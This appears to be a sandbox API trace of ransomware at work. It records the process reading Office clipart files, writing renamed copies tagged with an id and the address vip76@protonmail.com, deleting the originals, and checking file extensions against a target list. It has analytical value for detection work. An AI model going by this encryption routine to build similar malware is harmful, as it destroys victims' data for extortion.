	[0207.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220
	[0207.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.839] GetLastError () returned 0x0
	[0207.839] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x16a6, lpOverlapped=0x0) returned 1
	[0207.840] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x16b0, lpOverlapped=0x0) returned 1
	[0207.842] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.842] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.842] SetEndOfFile (hFile=0x378) returned 1
	[0207.842] CloseHandle (hObject=0x378) returned 1
	[0207.842] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.842] SetEndOfFile (hFile=0x374) returned 1
	[0207.844] CloseHandle (hObject=0x374) returned 1
	[0207.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.845] lstrlenW (lpString=".doc") returned 4
	[0207.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.845] lstrlenW (lpString=".docx") returned 5
	[0207.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.845] lstrlenW (lpString=".pdf") returned 4
	[0207.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.845] lstrlenW (lpString=".xls") returned 4
	[0207.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.845] lstrlenW (lpString=".xlsx") returned 5
	[0207.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.845] lstrlenW (lpString=".ppt") returned 4
	[0207.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.845] lstrlenW (lpString=".zip") returned 4
	[0207.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.845] lstrlenW (lpString=".rar") returned 4
	[0207.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.845] lstrlenW (lpString=".bz2") returned 4
	[0207.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.845] lstrlenW (lpString=".7z") returned 3
	[0207.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.845] lstrlenW (lpString=".dbf") returned 4
	[0207.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString=".1cd") returned 4
	[0207.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString=".jpg") returned 4
	[0207.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString=".doc") returned 4
	[0207.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString=".docx") returned 5
	[0207.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.846] lstrlenW (lpString=".pdf") returned 4
	[0207.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString=".xls") returned 4
	[0207.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.846] lstrlenW (lpString=".xlsx") returned 5
	[0207.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.846] lstrlenW (lpString=".ppt") returned 4
	[0207.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString=".zip") returned 4
	[0207.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.846] lstrlenW (lpString=".rar") returned 4
	[0207.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString=".bz2") returned 4
	[0207.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.846] lstrlenW (lpString=".7z") returned 3
	[0207.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.846] lstrlenW (lpString=".dbf") returned 4
	[0207.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.847] lstrlenW (lpString=".1cd") returned 4
	[0207.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0207.847] lstrlenW (lpString=".jpg") returned 4
	[0207.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.847] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.847] lstrlenW (lpString="HH00546_.WMF") returned 12
	[0207.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.847] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=3718) returned 1
	[0207.847] CloseHandle (hObject=0x374) returned 1
	[0207.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220
	[0207.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.848] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.848] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.849] GetLastError () returned 0x0
	[0207.849] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0xe86, lpOverlapped=0x0) returned 1
	[0207.850] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xe90, lpOverlapped=0x0) returned 1
	[0207.851] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.851] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.851] SetEndOfFile (hFile=0x378) returned 1
	[0207.852] CloseHandle (hObject=0x378) returned 1
	[0207.852] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.852] SetEndOfFile (hFile=0x374) returned 1
	[0207.853] CloseHandle (hObject=0x374) returned 1
	[0207.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0207.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.853] lstrlenW (lpString=".doc") returned 4
	[0207.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString=".docx") returned 5
	[0207.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.854] lstrlenW (lpString=".pdf") returned 4
	[0207.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString=".xls") returned 4
	[0207.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.854] lstrlenW (lpString=".xlsx") returned 5
	[0207.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.854] lstrlenW (lpString=".ppt") returned 4
	[0207.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString=".zip") returned 4
	[0207.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.854] lstrlenW (lpString=".rar") returned 4
	[0207.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString=".bz2") returned 4
	[0207.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString=".7z") returned 3
	[0207.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString=".dbf") returned 4
	[0207.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString=".1cd") returned 4
	[0207.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString=".jpg") returned 4
	[0207.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.854] lstrlenW (lpString=".doc") returned 4
	[0207.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString=".docx") returned 5
	[0207.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.855] lstrlenW (lpString=".pdf") returned 4
	[0207.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString=".xls") returned 4
	[0207.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.855] lstrlenW (lpString=".xlsx") returned 5
	[0207.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.855] lstrlenW (lpString=".ppt") returned 4
	[0207.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.855] lstrlenW (lpString=".zip") returned 4
	[0207.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.855] lstrlenW (lpString=".rar") returned 4
	[0207.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString=".bz2") returned 4
	[0207.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString=".7z") returned 3
	[0207.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.855] lstrlenW (lpString=".dbf") returned 4
	[0207.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.855] lstrlenW (lpString=".1cd") returned 4
	[0207.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0207.855] lstrlenW (lpString=".jpg") returned 4
	[0207.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.856] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.856] lstrlenW (lpString="HH00601_.WMF") returned 12
	[0207.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.856] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=1468) returned 1
	[0207.856] CloseHandle (hObject=0x374) returned 1
	[0207.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220
	[0207.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.857] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.857] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.857] GetLastError () returned 0x0
	[0207.857] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x5bc, lpOverlapped=0x0) returned 1
	[0208.249] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0208.250] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.251] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.251] SetEndOfFile (hFile=0x378) returned 1
	[0208.251] CloseHandle (hObject=0x378) returned 1
	[0208.251] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.251] SetEndOfFile (hFile=0x374) returned 1
	[0208.252] CloseHandle (hObject=0x374) returned 1
	[0208.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0208.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.253] lstrlenW (lpString=".doc") returned 4
	[0208.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString=".docx") returned 5
	[0208.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.253] lstrlenW (lpString=".pdf") returned 4
	[0208.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString=".xls") returned 4
	[0208.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.253] lstrlenW (lpString=".xlsx") returned 5
	[0208.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.253] lstrlenW (lpString=".ppt") returned 4
	[0208.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.253] lstrlenW (lpString=".zip") returned 4
	[0208.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.253] lstrlenW (lpString=".rar") returned 4
	[0208.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString=".bz2") returned 4
	[0208.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString=".7z") returned 3
	[0208.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.253] lstrlenW (lpString=".dbf") returned 4
	[0208.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.253] lstrlenW (lpString=".1cd") returned 4
	[0208.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.253] lstrlenW (lpString=".jpg") returned 4
	[0208.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.254] lstrlenW (lpString=".doc") returned 4
	[0208.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString=".docx") returned 5
	[0208.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.254] lstrlenW (lpString=".pdf") returned 4
	[0208.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString=".xls") returned 4
	[0208.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.254] lstrlenW (lpString=".xlsx") returned 5
	[0208.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.254] lstrlenW (lpString=".ppt") returned 4
	[0208.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.254] lstrlenW (lpString=".zip") returned 4
	[0208.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.254] lstrlenW (lpString=".rar") returned 4
	[0208.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString=".bz2") returned 4
	[0208.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString=".7z") returned 3
	[0208.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.254] lstrlenW (lpString=".dbf") returned 4
	[0208.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.254] lstrlenW (lpString=".1cd") returned 4
	[0208.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0208.255] lstrlenW (lpString=".jpg") returned 4
	[0208.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.255] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.255] lstrlenW (lpString="HH01013_.WMF") returned 12
	[0208.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0208.255] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=2848) returned 1
	[0208.255] CloseHandle (hObject=0x374) returned 1
